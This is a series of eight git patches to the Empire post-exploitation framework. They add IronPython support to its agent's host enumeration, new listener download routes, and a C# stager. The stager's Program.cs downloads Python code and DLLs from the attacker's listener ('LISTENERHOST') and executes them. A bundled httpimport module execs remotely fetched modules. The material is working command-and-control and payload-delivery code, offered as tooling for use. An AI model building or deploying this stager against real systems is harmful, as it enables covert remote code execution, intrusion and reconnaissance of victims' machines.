From cf6bb3e5924e4d02d6fe1f0bf9c82c86cefb82ea Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Tue, 9 Oct 2018 17:00:05 -0500 Subject: [PATCH 1/8] Modifications of OS enumeration --- data/agent/agent.py | 23 +++++++--- data/agent/stagers/common/get_sysinfo.py | 58 ++++++++++++++++++------ 2 files changed, 60 insertions(+), 21 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index 34b2a1773..f49266c28 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -19,11 +19,15 @@ import marshal import re import shutil -import pwd import socket import math import stat -import grp +import platofrm +if platform.python_implementation() == 'IronPython': + from System import Environment +else: + import pwd + import grp from stat import S_ISREG, ST_CTIME, ST_MODE from os.path import expanduser from StringIO import StringIO @@ -906,9 +910,13 @@ def directory_listing(path): permstr = "d{}".format(permstr) else: permstr = "-{}".format(permstr) - - user = pwd.getpwuid(fstat.st_uid)[0] - group = grp.getgrgid(fstat.st_gid)[0] + if platform.python_implementation() == 'IronPython': + user = Environment.UserName + #Needed? + group = "Users" + else: + user = pwd.getpwuid(fstat.st_uid)[0] + group = grp.getgrgid(fstat.st_gid)[0] # Convert file size to MB, KB or Bytes if (fstat.st_size > 1024 * 1024): @@ -961,7 +969,10 @@ def run_command(command, cmdargs=None): return "Created directory: {}".format(cmdargs) elif re.compile("(whoami|getuid)").match(command): - return pwd.getpwuid(os.getuid())[0] + if platform.python_implementation() == 'IronPython': + username = Environment.UserName + else: + return pwd.getpwuid(os.getuid())[0] elif re.compile("hostname").match(command): return str(socket.gethostname()) diff --git a/data/agent/stagers/common/get_sysinfo.py b/data/agent/stagers/common/get_sysinfo.py index a0a4d446e..25ff951bb 100644 --- a/data/agent/stagers/common/get_sysinfo.py +++ b/data/agent/stagers/common/get_sysinfo.py @@ -1,6 +1,12 @@ +import platform +if platform.python_implementation() == 'IronPython': + from System.Diagnostics import Process + from System import Environment + from System.Security.Principal import WindowsIdentity, WindowsPrincipal, WindowsBuiltInRole +else: + import pwd import os import sys -import pwd import socket import subprocess @@ -11,23 +17,36 @@ def get_sysinfo(nonce='00000000'): __FAILED_FUNCTION = '[FAILED QUERY]' try: - username = pwd.getpwuid(os.getuid())[0].strip("\\") + if platform.python_implementation() == 'IronPython': + username = WindowsIdentity.GetCurrent().User.ToString() + else: + username = pwd.getpwuid(os.getuid())[0].strip("\\") except Exception as e: username = __FAILED_FUNCTION try: - uid = os.popen('id -u').read().strip() + if platform.python_implementation() == 'IronPython': + uid = WindowsIdentity.GetCurrent().User.ToString() + else: + uid = os.popen('id -u').read().strip() except Exception as e: uid = __FAILED_FUNCTION try: - highIntegrity = "True" if (uid == "0") else False + if platform.python_implementation() == 'IronPython': + highIntegrity = WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) + else: + highIntegrity = "True" if (uid == "0") else False except Exception as e: highIntegrity = __FAILED_FUNCTION try: - osDetails = os.uname() + if platform.python_implementation() != 'IronPython': + osDetails = os.uname() except Exception as e: osDetails = __FAILED_FUNCTION try: - hostname = osDetails[1] + if platform.python_implementation() == 'IronPython': + hostname = Environment.MachineName + else: + hostname = osDetails[1] except Exception as e: hostname = __FAILED_FUNCTION try: @@ -38,11 +57,17 @@ def get_sysinfo(nonce='00000000'): except Exception as e1: internalIP = __FAILED_FUNCTION try: - osDetails = ",".join(osDetails) + if platform.python_implementation() == 'IronPython': + osDetails = Environment.OSVersion.ToString() + else: + osDetails = ",".join(osDetails) except Exception as e: osDetails = __FAILED_FUNCTION try: - processID = os.getpid() + if platform.python_implementation() == 'IronPython': + processID = Process.GetCurrentProcess().Id + else: + processID = os.getpid() except Exception as e: processID = __FAILED_FUNCTION try: @@ -52,13 +77,16 @@ def get_sysinfo(nonce='00000000'): pyVersion = __FAILED_FUNCTION language = 'python' - cmd = 'ps %s' % (os.getpid()) - ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - out, err = ps.communicate() - parts = out.split("\n") - if len(parts) > 2: - processName = " ".join(parts[1].split()[4:]) + if platform.python_implementation() == 'IronPython': + processName = Process.GetCurrentProcess().ToString() else: - processName = 'python' + cmd = 'ps %s' % (os.getpid()) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + out, err = ps.communicate() + parts = out.split("\n") + if len(parts) > 2: + processName = " ".join(parts[1].split()[4:]) + else: + processName = 'python' return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, pyVersion) From 5bb3f5af74315ba960ef71bad3a452eb3f966aa0 Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Tue, 9 Oct 2018 17:01:38 -0500 Subject: [PATCH 2/8] Modifications of Listener --- lib/listeners/http.py | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 2b8e722af..6f7fad8e4 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -10,7 +10,7 @@ import json import sys from pydispatch import dispatcher -from flask import Flask, request, make_response, send_from_directory +from flask import Flask, request, make_response, send_from_directory, send_file # Empire imports from lib.common import helpers from lib.common import agents @@ -934,6 +934,26 @@ def send_stager(stager): else: return make_response(self.default_response(), 404) + @app.route('/download/importer') + def send_importer(): + return send_file('../../data/misc/IronPython/httpimport.py') + + @app.route('/download/45/') + def send_assemblies45(filename): + return send_from_directory('../../data/misc/IronPython/net45/',filename) + + @app.route('/download/40/') + def send_assemblies40(filename): + return send_from_directory('../../data/misc/IronPython/net40/',filename) + + @app.route('/download/stdlib/') + def send_ipy(filename): + return send_from_directory('../../data/misc/IronPython/Lib/', filename) + + @app.route('/download/stdlib//') + def send_ipy_sub(folder,filename): + return send_from_directory('../../data/misc/IronPython/Lib/'+folder, filename) + @app.before_request def check_ip(): """ From 06b7a1b300c00b69310a8e7933bbd194b0fb37d9 Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Tue, 9 Oct 2018 17:03:44 -0500 Subject: [PATCH 3/8] Added IPy dependencies to setup.sh --- setup/install.sh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/setup/install.sh b/setup/install.sh index b1588ef4e..850e9fc1c 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -174,6 +174,12 @@ if uname | grep -q "Linux"; then fi chmod 755 bomutils/build/bin/mkbom && sudo cp bomutils/build/bin/mkbom /usr/local/bin/. +# Downloading IronPython dependencies +wget https://github.com/IronLanguages/ironpython2/releases/download/ipy-2.7.8/IronPython.2.7.8.zip +unzip -o IronPython.2.7.8.zip -d ../data/misc/IronPython +rm IronPython.2.7.8.zip + + # set up the database schema python ./setup_database.py From c3397824a8972e1f207d0080b32cc859d95e45a7 Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Wed, 10 Oct 2018 19:12:29 -0500 Subject: [PATCH 4/8] Fix typos and add a few things --- data/agent/agent.py | 2 +- data/agent/stagers/common/get_sysinfo.py | 2 +- setup/install.sh | 4 ++++ 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index f49266c28..b9ac81844 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -22,7 +22,7 @@ import socket import math import stat -import platofrm +import platform if platform.python_implementation() == 'IronPython': from System import Environment else: diff --git a/data/agent/stagers/common/get_sysinfo.py b/data/agent/stagers/common/get_sysinfo.py index 25ff951bb..7dfe2b0dd 100644 --- a/data/agent/stagers/common/get_sysinfo.py +++ b/data/agent/stagers/common/get_sysinfo.py @@ -18,7 +18,7 @@ def get_sysinfo(nonce='00000000'): try: if platform.python_implementation() == 'IronPython': - username = WindowsIdentity.GetCurrent().User.ToString() + username = Environment.UserName else: username = pwd.getpwuid(os.getuid())[0].strip("\\") except Exception as e: diff --git a/setup/install.sh b/setup/install.sh index 850e9fc1c..5005bd5c2 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -177,6 +177,10 @@ chmod 755 bomutils/build/bin/mkbom && sudo cp bomutils/build/bin/mkbom /usr/loca # Downloading IronPython dependencies wget https://github.com/IronLanguages/ironpython2/releases/download/ipy-2.7.8/IronPython.2.7.8.zip unzip -o IronPython.2.7.8.zip -d ../data/misc/IronPython +cp ../data/misc/IronPython/net45/IronPython.dll ../data/misc/IPYcSharpTemplateResources/cmd +cp ../data/misc/IronPython/net45/IronPython.Modules.dll ../data/misc/IPYcSharpTemplateResources/cmd +cp ../data/misc/IronPython/net45/Microsoft.Dynamic.dll ../data/misc/IPYcSharpTemplateResources/cmd +cp ../data/misc/IronPython/net45/Microsoft.Scripting.dll ../data/misc/IPYcSharpTemplateResources/cmd rm IronPython.2.7.8.zip From e601c0311cd5f950c25e2ccb6c68f79c99c30c5b Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Wed, 10 Oct 2018 19:13:05 -0500 Subject: [PATCH 5/8] Add IronPython C# stager --- lib/stagers/windows/ipycsharpexe.py | 97 +++++++++++++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 lib/stagers/windows/ipycsharpexe.py diff --git a/lib/stagers/windows/ipycsharpexe.py b/lib/stagers/windows/ipycsharpexe.py new file mode 100644 index 000000000..e2797054c --- /dev/null +++ b/lib/stagers/windows/ipycsharpexe.py @@ -0,0 +1,97 @@ +from lib.common import helpers +import shutil +import os + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'CSharp IronPython Stager', + + 'Author': ['@elitest'], + + 'Description': ('Generates a C# source zip containing an IronPython environment to execute the Empire stage0 launcher.'), + + 'Comments': [ + '' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Host' : { + 'Description' : 'Protocol IP and port that the listener is listening on.', + 'Required' : True, + 'Value' : "http://%s:%s" % (helpers.lhost(), 80) + }, + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'OutFile' : { + 'Description' : 'File to output zip to.', + 'Required' : True, + 'Value' : '/tmp/launcher.src' + }, + 'SafeChecks' : { + 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required' : True, + 'Value' : 'False' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + # extract all of our options + host = self.options['Host']['Value'] + listenerName = self.options['Listener']['Value'] + outfile = self.options['OutFile']['Value'] + safeChecks = self.options['SafeChecks']['Value'] + userAgent = self.options['UserAgent']['Value'] + + # generate the launcher code + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language="python", encode=True, userAgent=userAgent, safeChecks=safeChecks) + launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"") + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + + else: + directory = self.mainMenu.installPath + "/data/misc/IPYcSharpTemplateResources/" + destdirectory = "/tmp/cmd/" + + shutil.copytree(directory,destdirectory) + + file = open(destdirectory + 'cmd/Program.cs').read() + file = file.replace('LISTENERHOST',host) + file = file.replace('STAGER',launcher) + open(destdirectory + 'cmd/Program.cs','w').write(file) + shutil.make_archive(outfile,'zip',destdirectory) + shutil.rmtree(destdirectory) + return "[*] Stager output written out to: "+outfile+".zip" From 23f13dd79a663ebc821cf4132a49c1acd04cd8ff Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Wed, 10 Oct 2018 19:17:59 -0500 Subject: [PATCH 6/8] Added remote python https importer --- data/misc/IronPython/httpimport.py | 111 +++++++++++++++++++++++++++++ 1 file changed, 111 insertions(+) create mode 100644 data/misc/IronPython/httpimport.py diff --git a/data/misc/IronPython/httpimport.py b/data/misc/IronPython/httpimport.py new file mode 100644 index 000000000..bd852a004 --- /dev/null +++ b/data/misc/IronPython/httpimport.py @@ -0,0 +1,111 @@ +#heavily adapated from github.com/operatorequals/httpimport by John Torakis aka operatorequals +''' +Copyright 2017 John Torakis + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +''' + +import imp +import sys +from System.Net import WebClient + +class HttpImporter(object): + def __init__(self, base_url): + self.base_url = base_url + def find_module(self, fullname, path=None): + try: + loader = imp.find_module(fullname, path) + return None + except ImportError: + pass + if fullname.split('.').count(fullname.split('.')[-1]) > 1: + return None + + return self + + def load_module(self, name): + + imp.acquire_lock() + if name in sys.modules: + imp.release_lock() + return sys.modules[name] + + if name.split('.')[-1] in sys.modules: + imp.release_lock() + return sys.modules[name.split('.')[-1]] + + if name in sys.builtin_module_names: + imp.find_module(name) + imp.load_module(name) + imp.release_lock() + return + + name = name.split('.')[-1] + + #TODO: + #Dealing with stuff not actually in iPy + if name == "strop" or name == "_hashlib" or name == "nt" or name == "fcntl" or name == "posix" or name == "org" or name == "termios" or name == "msvcrt" or name == "EasyDialogs" or name == "pwd" or name == "grp": + return + module_url = self.base_url + '%s.py' % name.replace('.', '/') + #TODO: + #Dealing with weird stuff that happens when packages are needed + if name == "aliases" or name == "hex_codec": + module_url = self.base_url + 'encodings/%s.py' % name.replace('.', '/') + if name == "wintypes" or name == "util" or name == "_endian" or name == "ctypes": + module_url = self.base_url + 'ctypes/%s.py' % name.replace('.', '/') + package_url = self.base_url + '%s/__init__.py' % name.replace('.', '/') + final_url = None + final_src = None + + wc = WebClient() + + try: + final_src = wc.DownloadString(module_url) + final_url = module_url + except: + pass + if final_src is None: + try: + final_url = package_url + package_src = wc.DownloadString(package_url) + final_src = package_src + except IOError as e: + module_src = None + imp.release_lock() + return None + + mod = imp.new_module(name) + mod.__loader__ = self + mod.__file__ = final_url + mod.__package__ = name.split('.')[0] + mod.__path__ = ['/'.join(mod.__file__.split('/')[:-1]) + '/'] + sys.modules[name] = mod + exec(final_src, mod.__dict__) + imp.release_lock() + return mod + + +def add_remote_repo(base_url): + importer = HttpImporter(base_url) + sys.meta_path.insert(0, importer) + return importer + +#def add_remote_repo(base_url): +# importer = HttpImporter(modules, base_url) +# sys.meta_path.insert(0, importer) +# return importer + + +for x in sys.builtin_module_names: + __import__(x) + From a442db6b983530fe7f04cbb18aa7a305f04d03c2 Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Wed, 10 Oct 2018 19:19:44 -0500 Subject: [PATCH 7/8] Added IronPython C# shell project --- data/misc/IPYcSharpTemplateResources/cmd.sln | 20 +++++++ .../IPYcSharpTemplateResources/cmd/Program.cs | 28 +++++++++ .../cmd/Properties/AssemblyInfo.cs | 31 ++++++++++ .../IPYcSharpTemplateResources/cmd/app.config | 6 ++ .../IPYcSharpTemplateResources/cmd/cmd.csproj | 57 +++++++++++++++++++ 5 files changed, 142 insertions(+) create mode 100644 data/misc/IPYcSharpTemplateResources/cmd.sln create mode 100644 data/misc/IPYcSharpTemplateResources/cmd/Program.cs create mode 100644 data/misc/IPYcSharpTemplateResources/cmd/Properties/AssemblyInfo.cs create mode 100644 data/misc/IPYcSharpTemplateResources/cmd/app.config create mode 100644 data/misc/IPYcSharpTemplateResources/cmd/cmd.csproj diff --git a/data/misc/IPYcSharpTemplateResources/cmd.sln b/data/misc/IPYcSharpTemplateResources/cmd.sln new file mode 100644 index 000000000..d9f33abd7 --- /dev/null +++ b/data/misc/IPYcSharpTemplateResources/cmd.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +# SharpDevelop 5.1 +VisualStudioVersion = 12.0.20827.3 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "cmd", "cmd\cmd.csproj", "{17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Debug|Any CPU.Build.0 = Debug|Any CPU + {17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Release|Any CPU.ActiveCfg = Release|Any CPU + {17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection +EndGlobal diff --git a/data/misc/IPYcSharpTemplateResources/cmd/Program.cs b/data/misc/IPYcSharpTemplateResources/cmd/Program.cs new file mode 100644 index 000000000..f9ff66b6e --- /dev/null +++ b/data/misc/IPYcSharpTemplateResources/cmd/Program.cs @@ -0,0 +1,28 @@ +using System; +using System.Reflection; +using System.Net; +using IronPython.Hosting; +using Microsoft.Scripting; +using IronPython.Modules; + +namespace cmd +{ + class Program + { + static Program() + { + AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(OnResolveAssembly); + } + public static void Main(string[] args) + { + var engine = Python.CreateEngine(); + engine.Execute("h = 'LISTENERHOST';from System.Net import WebClient;exec(WebClient().DownloadString(h+'/download/importer'));add_remote_repo(h + '/download/stdlib/');STAGER"); + } + private static Assembly OnResolveAssembly(object sender, ResolveEventArgs args) + { + string name = args.Name.Substring(0, args.Name.IndexOf(',')); + WebClient wc = new WebClient(); + return Assembly.Load(wc.DownloadData("LISTENERHOST/download/45/" + name + ".dll")); + } + } +} diff --git a/data/misc/IPYcSharpTemplateResources/cmd/Properties/AssemblyInfo.cs b/data/misc/IPYcSharpTemplateResources/cmd/Properties/AssemblyInfo.cs new file mode 100644 index 000000000..4fb32b678 --- /dev/null +++ b/data/misc/IPYcSharpTemplateResources/cmd/Properties/AssemblyInfo.cs @@ -0,0 +1,31 @@ +#region Using directives + +using System; +using System.Reflection; +using System.Runtime.InteropServices; + +#endregion + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("cmd")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("cmd")] +[assembly: AssemblyCopyright("Copyright 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// This sets the default COM visibility of types in the assembly to invisible. +// If you need to expose a type to COM, use [ComVisible(true)] on that type. +[assembly: ComVisible(false)] + +// The assembly version has following format : +// +// Major.Minor.Build.Revision +// +// You can specify all the values or you can use the default the Revision and +// Build Numbers by using the '*' as shown below: +[assembly: AssemblyVersion("1.0.*")] diff --git a/data/misc/IPYcSharpTemplateResources/cmd/app.config b/data/misc/IPYcSharpTemplateResources/cmd/app.config new file mode 100644 index 000000000..d456056a7 --- /dev/null +++ b/data/misc/IPYcSharpTemplateResources/cmd/app.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/data/misc/IPYcSharpTemplateResources/cmd/cmd.csproj b/data/misc/IPYcSharpTemplateResources/cmd/cmd.csproj new file mode 100644 index 000000000..3e041e4db --- /dev/null +++ b/data/misc/IPYcSharpTemplateResources/cmd/cmd.csproj @@ -0,0 +1,57 @@ + + + + {17E4F716-E93B-42BF-B1A3-E24A46FE4CCD} + {FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} + Debug + AnyCPU + Exe + cmd + cmd + v4.5 + Properties + + + + x86 + + + bin\Debug\ + True + Full + False + True + DEBUG;TRACE + + + bin\Release\ + False + None + True + False + TRACE + + + + IronPython.dll + False + + + IronPython.Modules.dll + False + + + Microsoft.Scripting.dll + False + + + + + + + + + + + + \ No newline at end of file From c467813ecdb68e80290c9bfc1e0717694408c379 Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Wed, 10 Oct 2018 19:24:46 -0500 Subject: [PATCH 8/8] updated httpimport.py to remove unessary code --- data/misc/IronPython/httpimport.py | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/data/misc/IronPython/httpimport.py b/data/misc/IronPython/httpimport.py index bd852a004..3ffad59cb 100644 --- a/data/misc/IronPython/httpimport.py +++ b/data/misc/IronPython/httpimport.py @@ -100,12 +100,7 @@ def add_remote_repo(base_url): sys.meta_path.insert(0, importer) return importer -#def add_remote_repo(base_url): -# importer = HttpImporter(modules, base_url) -# sys.meta_path.insert(0, importer) -# return importer - - +#This is a hack. Imports built-in modules not present in the standard library for x in sys.builtin_module_names: __import__(x)